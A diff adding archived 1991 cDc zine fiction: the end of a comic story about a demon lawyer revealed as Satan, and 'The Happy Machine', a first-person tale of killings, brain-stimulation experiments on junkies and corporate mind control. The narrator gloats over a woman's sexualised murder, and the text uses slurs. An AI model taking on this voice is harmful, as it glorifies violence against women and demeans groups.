present employer and occupation +makes you ineligible to become a suffering member of the Damnation Enterprises +clientele. Please reconsider the choices you have made so you can become a +member of our family today!" + + Johns was silent. + + "Are you retarded of something? Ya know, I got better things to do then +sit here all day with my ding-dong flopping around. Look, I'll make it simple +for you. We want you to come down under with us. But you can't if you're +working for you-know-who up there." + + Johns asked who he was working for up there. + + "Where do you people come from? That's it, you're history." + + Johns collapsed from exhaustion on the ground once again. As he entered +dreamland, Johns suddenly realized that he was wearing the wrong type of +footwear for long-distance walking. + + Johns had never had a dream before, so he was a little unsure of what do +in one. He saw that he was in a line with other people. It looked like there +were a hundred people ahead of him, and a hundred people behind him. He looked +to the left and right and saw no walls. Only advertisements for free toasters +and low interest rates. If he strained his eyes and looked ahead, he could see +people were on line to get at one bankteller's window. Johns felt sorry for +the teller. One person handling the banking transactions for hundreds of +people. Angry people. Angry that they had been working the same job for an +eternity. Angry that they had given everything and gotten nothing. Angry that +they were in line. The line wasn't your basic straight line. It was all over +the place. It was everywhere in every dimension. Everyone was in the line, +and the line was in everyone. + + Johns had no idea how much time had passed, but he was now at the front of +the line. He walked to the window. He had waited on the line, gotten to the +front of the line, but now he wasn't sure what to do. + + "Where's your check, buddy?" + + Johns had no idea where his check was. He looked down at his hands and +saw he was holding an envelope, so he handed that over. The teller was just a +regular person. Johns couldn't tell if the teller was male or female. + + "Well, here you go. It's all there." + + Johns stared at the currency. + + "Yeah, the big guy upstairs really takes a cut doesn't he?" + + Johns woke up from his dream and noticed he was outside again. He got up, +yawned once, yawned twice, and started walking. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Alucard, the slick lawyer, was operating at prime efficiency. From the +moment he walked in the room, Alucard knew that he had this guy from the car +accident right in the palms of his hands. In a carefully executed move, +Alucard walked closer to the bed and sat down, putting the accident victim at +ease. Alucard cracked another smile and spoke clearly and firmly. + + "Ok, let's face it. You're in bad shape. You're so close to death, +they're just finishing the last letters on your tombstone. Death is a very sad +time. It's also a very--" + + "Excuse me a second. You said you were representing 'your client'. Are +you trying to sue me for something or sell me something?" + + "Just be patient. Death is a very difficult thing, legally and +physically. The person I represent can give you a happy and successful +afterlife." + + "I'm still confused. Are you a lawyer or a salesman?" + + "Both! I sell death, but it's so complicated that you need a law degree." + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Johns had finally reached the 2nd location on the list. He failed to do +his job at the first location, but now he was going to do things right. This +hospital was located in a much nicer area than the first hospital. The people +who lived in this area didn't like to think about the first area. The people +who lived in this area were wealthy. If they didn't own something, that +something had no business being in existence. + + At the moment he reached this hospital, Johns was supposed to have been +shot dead. A lot of time and effort went into planning the death of Johns. +Weapons were readied, plans were made. Unfortunately, the people who were +supposed to kill Johns got lost on the way to the hospital. They finally +reached the hospital much too late, and left very embarrassed. + + Unaware of his luck, Johns entered the hospital. This place was clean and +shiny. The plants were watered, the nurses were pretty. Johns didn't need to +ask where the room he needed was, he just knew where it was. + + Johns was standing in front of a hospital room. He pulled out the list +from his pocket, double-checked that he was in the right place, and put the +list back in his pocket. He was in the process of reaching for the doorknob +when a luminous stream of red light shot forth from under the door. The light +began to disseminate outward, and soon the entire frame of the door was spewing +a hellish hue. Sounds of lamentation creepy crawled their way into Johns' +ears. The sounds were paced by a thumping beat that pierced Johns' brain. +Johns realized that he was the only one being affected by this. Doctors and +orderlies were walking right past Johns, oblivious to the spectral +pyrotechnics. Johns was now beginning to feel some discomfort from this. His +ears were being torn apart by the dissonant sounds, his eyes ravaged by the +light. Then, it stopped. It was as if a great vacuum had swallowed the entire +unearthly show. One second, there was cacophony and effulgence, the next +second they were gone. A doctor stopped and asked Johns if he needed help. +Johns replied that he had gotten all the help he needed. + + Johns took out the list and checked the room again. He give himself a +shot of confidence and grasped the door knob once again. "I was hired to do a +job and I will do that job," said Johns as he opened the door. + + The room was empty. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Everyone in the boardroom was notably distressed. Except there was +silence now. All the possible strategies had been discussed to death, and +there wasn't life in any of them. The people in the boardroom made a show of +working. They were pouring over reports and charts with apparent intent, but +they were all really thinking about the impending doom. + + Finally, one young go-getter spoke. He was one of the more rash people in +the boardroom. + + "What's wrong with you people? You're just sitting there pretending to +solve our problem, but actually, you are the problem! How can we function as a +celestial bliss when the only thing all of you care about is how YOU will come +out of this? We're in this together, and we'll all come out winners, or we'll +all come out losers. Now I suggest that the so-called deity in charge of this +mess should make a decision right now!" + + Everyone turned to the head of the table. The old man with the long white +beard had a vapid smile on his crinkled face. He seemingly wasn't even aware +that the boardroom's attention was on him. Despite this, he spoke anyway. + + "Your faces are long, let's sing a song." + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Alucard could always tell when he was in complete control of someone. He +knew in the first second how things would turn out. Like this pathetic car +accident victim. Alucard knew immediately that he could dupe this guy into +believing anything. This victim was a little smarter than most of them, but +the result would be the same. It always was. Always. The crippled loser was +talking again. + + "I am most confused. Even if this was for real, why are you here? I'm +not dead." + + Alucard liked to taunt his prey so he threw in this zinger. + + "Look, you're going to die, capiche? It's my job to know these things." + + "Oh kay... supposing I do die, I've been good, I go to Heaven. What do I +need you for?" + + Alucard could hardly control his glee. Now he could start doing his +favorite thing. Lying. + + "I'm sorry to tell you that there is no Heaven." + + "Everyone goes to Hell!?" + + "Well, Hell is harsh word. The people I represent really dislike that +word." + + "Tell me this, Mr. Angel of Deat-" + + "I'm not the Angel of Death!" Alucard snapped. + + And if the Angel of Death comes I'm in big trouble, thought Alucard. + + "Then tell me this, whatever you are, thousands of people die every day. +You're telling me a lawyer is behind every one of them?" + + Alucard decided that the truth would work here. + + "Afterlife management is relatively new concept, it's just out of the +experimental stages. In the future, everyone will be have an effectively +managed afterlife, but for the present, only special cases get it. You should +feel ecstatic that I'm here for you. Most people drift unguided in the +supernatural regions after death, but with my help, Mr. Ray, death will only be +the beginning for you!" + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Johns was confused. The fact that one room on the list was empty could be +accepted. Perhaps the person who originally made the list had made a mistake. +But Johns had gone through all the others rooms on the list. All were in the +same hospital. All were empty. + Except the last one on the list. That was in a different hospital a few +blocks down the street. + + On the way to the other hospital, even Johns was able to notice that +something strange was happening. The sidewalks were gone, in their place were +demonic tentacles whipping back and forth, barely missing Johns each time. +Where there was once traffic lights human heads hung, dripping flesh onto the +street, which was now had a latex crimson exterior. Parked next to parking +meters (which strangely remained the same), were many fiendish creatures. +There were incubus, succubus, cacodemons. Apparitions and wraiths flew around +in circles wailing the whole time. When Johns saw the rock albums in front of +the hospital doors, it was as if a great conundrum had finally solved itself +in Johns' head. + + Now he knew who was behind this, and Johns knew what his purpose was. He +looked at that last name on the list. + + Ray. + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + Mr. Ray was still being stubborn, and Alucard was losing all patience. + + "Look, Mr. Ray, trust me, I want what's best for you. Sign this paper and +you'll be set for death." + + "Sorry, Mr. Alucard, but I'm not signing anything a lawyer gives me." + + The door opened and someone walked in. + + "Don't sign anything," screamed Johns, "for this so-called lawyer is not a +lawyer at all." + + Ray and Johns turned to Alucard, who was now a thirty feet tall red demon +with horns. + + "Sign with him and sign away your soul," continued Johns, "for he is no +lawyer but Ahriman... Belial... Asmodeus... Mephistopheles... he is SATAN!" + + _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ + + The boardroom. A year later. + + "So I guess Johns came through after all," said the rash young go-getter. + + The boardroom nodded in agreement. + + "Thank God that Johns was picked." + + "You're welcome," said the old man with the long white beard. + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco.................312/528-5020| + (U) |====================================================================| + .ooM |Copr. 1991 cDc communications by The Pusher. 01/03/91-#155| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0156.txt b/textfiles.com/groups/CDC/cDc-0156.txt new file mode 100644 index 00000000..ee39e975 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0156.txt @@ -0,0 +1,253 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Happy Machine + by Obscure Images + + >>> a cDc publication.......1991 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + The icicles danced on the frame of the door as I walked out. Naturally I +ripped them from their place of security and threw them on the ground beneath +my feet. My name is Karl, I hate. The brittle morning air ripped at my +enveloped body like the claws of a polar bear. This could only serve to get me +even more pissed off than I already was. The world is a box of shit and I've +been buried in the middle of it with no arms or legs. I want to destroy but +all I can do is pretend. + + My looks are hardly imposing, as I look like I'm in my early teens, you +know, the lanky dork look. Yeah, God is a fucker and I'll kill him if I ever +find out a way to do it. People around me think I'm funny looking, or to the +women, "cute," but that is not what I fucking want. My girlfriend tossed me +out on my ass because she couldn't deal with the "guilt" she felt for fucking +someone that looked like her kid brother. Fuck man, I wanted to kill that +bitch really bad, but the best I could muster was a repressed sob and a +clenched fist. + + When I received that bit of information from my girlfriend, I couldn't +leave my apartment for several days. I wanted to kill myself, but I wanted to +kill her even more. I was getting myself psyched for the act when I was +interrupted by a phone call from a friend of mine that heard the news +already. He calmed me down to the point where I only dreamed that she'd +die, and forgot all about killing her. The funny part of the story, as far as +I'm concerned anyway, is that they found her dead as a doornail naked in an +alley right outside of her house. She had apparently had a real slow and +painful death, laying in an alley after being fucked with a baseball bat. I +had to laugh hard, that bitch had it coming. + + Life continued onward in its tedious and pathetic way. I eventually +snagged a new girlfriend. She was a strange woman, one of those s&m perverts. +I was insulted for a while to be considered by her a replacement for her +younger brother, but it quickly faded... she was very hot and very kinky. I +like that in a woman... excuse me if I get a bit dreamy during this part of +the story, those were good days for me, days I wish I could repeat. Of course +there is never any going back, but a guy can wish, can't he? + + That small period of happiness ended in nothing but sorrow and fear. I +shit my pants the night that I killed her. I didn't mean to do it, I really +loved her. You see, she had me tie her to a crucifix that we had built in her +apartment. The cool part about this was that the bottom half of the cross +split into two sections, so I could spread her legs apart if I wanted to. The +cross was the source of many hours of pleasure for the both of us. Tonight she +wanted to try something different. She was a very smart girl, at least as far +as the acquisition of pleasure and pain were concerned. She had read about a +device in some creepy magazine about a little machine that connected to your +body by electrodes that pulsed very low amperage current through your nervous +system. What happens next is that the current gets your nervous system, +including your brain, resonating at the frequency that the machine is putting +out. This resonance, according to the article in the magazine, causes the +brain to go into various states of operation; alpha, beta, theta, and delta. +The states depended on the frequency of the waves. When set at 7.43Hz, the +brain goes into an alpha state, releasing endorphins into the brain, causing +intense euphoria. + + The problem with the machine, as far as she was concerned was that it cost +$500 and would only operate on one frequency. She called up a friend of hers +and read the article to him over the phone. He said that it was a fairly +simple device that he could make from parts he had laying around the house in a +couple of days. She told him to make sure that the machine could be adjusted. +In the next few days she became more and more excited about the prospects of +actually trying the machine. As for me, well, I didn't know if I should trust +something like that to mess with my bioelectric field, but it'd be interesting +to see if it really worked. + + The day that he finished, she came over to my place and we set up the +machinery, not that there was much to do, other than placing the electrodes on +our ankles. We set the dial to 7.43 Hertz, since we knew what to expect from +that frequency. To be frank, the article was not full of shit. I'm not really +sure about her, but I was so happy that I was bouncing off of the walls. She +just laid on the couch moaning. After the initial surprise was completed, we +had sex. It wasn't the usual s&m sort of thing at all. We seemed to be +sharing, and entwining, our souls merging as one. Later I read that the same +effect seemed to happen when people took LSD, but at this time I thought I was +God or something. When we were tired we turned the machine off and relaxed in +its fading ecstasy for a few minutes before we fell asleep. + + From that time on, we began to experiment with the settings on the dial, +only one person at a time being plugged in. We kept a notebook with all of our +results written in it. Our findings were actually quite amazing. It seemed +that if you used the right frequencies at the right times, you could just about +control a person just like a puppet. Unfortunately for her, it was her turn to +wear the 'trodes the night that we discovered the frequency that stopped her +heart. I tried to revive her, but it was just no good. + + I panicked when I realized that her limp body hanging from the cross was +never going to breathe again. I remembered the gruesome death of my former +girlfriend, and realized that the police might want to arrest me for +killing the both of them. I decided, possibly foolishly, that running was my +only choice. I took her body down from the cross, and put her in bed under the +covers. After that I grabbed our equipment, and the notebook and went to my +place where I packed up the belongings that I might need, packed them into my +car and left for good, hoping that nobody would notice that I was gone until I +was safely hidden in some other state. + + *--* + + My name is Karl. I still hate, but not for the reasons that I used +to. I'm no longer of the lanky dork type, since I started working out and +changing my image when I moved to California. I still curse God for creating +me, and everyone else, but now I don't need to let my soul waste away in the +quixotic quest for vengeance. Other than the sustaining hate that keeps me +alive, I am relatively happy. + + When I got out to California, I changed my last name and got a small +apartment in one of the wino sections of L.A. I wasn't there for more than a +few months, mostly because I got the idea of selling time on the machine to +junkies who couldn't afford smack. Within a few months of selling time on my +machine I had accumulated enough money to get the hell out of there into a +better part of town. Don't think that I sat around and did nothing but help +junkies get their kicks, because I didn't. While I was there I studied how the +machine worked, even convincing a few smart kids from the Valley to help me +redesign it more compactly, with more features. Added to all of this I began +to exercise and take martial arts, at first it was to keep myself protected +against the fucking junkies, but later I felt good enough from doing it to do +it to keep fit. + + At the end of the first year in California, I was very streetwise, after +living through a year in Last Ass, you either get tough, or you get killed. By +this time the boys from the Valley had come up with some interesting new +variations on the old basic machine. Most of the new innovations were based +upon my findings in the notebooks, which I had been keeping even after Kari's +death. (I just realized that I had only just mentioned her name, I don't like +to say her name, since it brings back some bad memories.) I had been trying +out new settings on stupid near-death brain burned junkies who the cops +wouldn't even bother with an investigation when their bodies showed up. The +rest of the innovation was done by the clever boys in the Valley, who, in +partnership with me, started a company called Cerebratron. + + As a side note, I really had no reason to run the way I did. The police +eventually found her body, and were concerned when I had disappeared, but +the coroner's report turned up no signs of foul play, so my disappearance +was noted, but considered unimportant. Either way I was glad that I had run +away. It turned me from something I despised to the person I always dreamt of +being. I was rich and powerful, and smart as well. I played my cards right +when the Japs became interested in my small company and our research. The fact +is: I'm now a top executive in a large Japanese zaibatsu, and rich beyond even +my wildest dreams. I'm 120 years old right now, as I tell this story, and I +still feel as healthy as I did when I started the company. To continue with +the story, however, is to explain why I can still hate. + + After the acquisition, the boys from the Valley and I were required to +disclose all of our research, which we did willingly as we were being made +filthy rich. I was still in control of the Cerebratron division of the +company, and I still had a hand in the events to follow. Our research branched +out into other forms of mind control. Remember what I said previously about +controlling someone like a puppet? That is what we were working on from that +moment on, at least we did secretly. On the surface we came out with small +credit card sized devices that we sold for less than 5 dollars in stores, they +were simple happy machines. The top of the line models for consumer use had +fine-tuning and tailor made feeling generators. All of these were a smash - +who wouldn't want a little slice of happiness in their miserable lives? Of +course they might have been a little distraught if they were to find out what +was happening in the research labs. We were taking advertising to an all time +high, we were making people buy things. + + Subliminal messages in movies and commercials date back to the 1950's, but +the methods were not really very effective. Essentially they only worked on +very stupid people, and people who were fucked up on something. We were to use +something quite different, but far more effective. The exact method that was +used cannot be described here, since a variant is still used, and I would be +assassinated within an hour if I were to mention it. Needless to say that the +early commercials that used our U-Buy technology were infinitely successful, we +could make or break companies using these commercials. The people would do +what you would tell them to do, at least to a certain extent. They wouldn't do +anything that would consciously harm themselves, but it was good enough. About +10 years later, there was a gigantic revolt to the use of mind control over +unwitting subjects. The use of U-Buy was leaked by a former employee, and the +shit really hit the fan. Of course the asshole who leaked the information was +found the next day disemboweled in his living room. + + A joint counsel of the Zaibatsus was held in Tokyo, and it was decided +that the working classes would be rounded up, in a more sublime way for sure, +and would have chips implanted in their brains to help them do the right thing. +Of course this could be done through the corporation, who could force anybody +to do what they wanted if they wanted to. The chip was complex, I supervised +its creation. The technical details are far above my understanding, but the +uses are not. What the chip does is leave most of the person's brain alone, +except that it causes an intense family-like loyalty to their company, it could +also be used to take over the person's brain temporarily if they began to get +out of hand. Repeat offenders of certain laws, corporate laws (governments are +only for show these days), could be terminated at command. We licensed this +technology to the rest of the companies for a reasonable price, for the good of +the structure. Either way the chip made my zaibatsu a gigantic amount of +money, and I was promoted yet again. From that point on I became an executive +vice-president of the entire zaibatsu, having about 25 divisions beneath me. +The system worked great, at least in the sense that there was very little crime +and real unhappiness anymore. The problems that I have are failings of the +soul. I've begun recently to feel guilty about taking part in the enslavement +of most of the world. I know that it isn't technically slavery, but it still +sure as hell feels like it. + + Before continuing to the end of the story, it is important to describe the +president of the zaibatsu. The president isn't actually a single person, but +rather a group mind, of sorts, made up of the electronically encoded "souls" of +former leaders of the company. The actual location of the mammoth computer +that houses the souls of the corporate heads is unknown to anyone other than +the president. The presidents are guaranteed an eternal existence in a land of +their own devising, left to come and go and make decisions as they please. In +other words, they've become gods. I was quite shocked the day that I came into +my office and found that I had been promoted to president. My mind was encoded +into the presidential computer complex, and that is where I live to this date. + + *--* + + My name is Karl. I hate. I love. I feel everything that I want to feel, +I do what I want to do. I've been inside the computer for a long time now. By +my own time I am 120 years old, but it could be a lot longer on the outside. +There is a structure in here, I've come to learn. Every now and again I am +needed inside the management-frame with several other of the presidents, to +spend some time ruling the company. Other than that I spend most of my time +with a construct I've made up for myself. She has no name, but she is an +amalgam of the favorite qualities of all the women I had in my life on the +outside. She'll be my companion on my eternal quest for something to do. I +can almost picture the day when I've done it all and finally set my program to +erase, and experience the same unknown that Kari embraced when I was nothing +more than a little boy. + _ _ ____________________________________________________________________ +/((___))\|Demon Roach Undrgrnd.806/794-4362|Grassroots..............new # soon| + [ x x ] |NIHILISM.............513/767-7892|Paisley Pasture.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Works.............617/861-8976| + (' ') |Lunatic Labs.........213/655-0691|Ripco II..............312/528-5020| + (U) |====================================================================| + .ooM |Copr. 1991 cDc communications by Obscure Images. 02/17/91-#156| +\_______/|All Rights Pissed Away. | +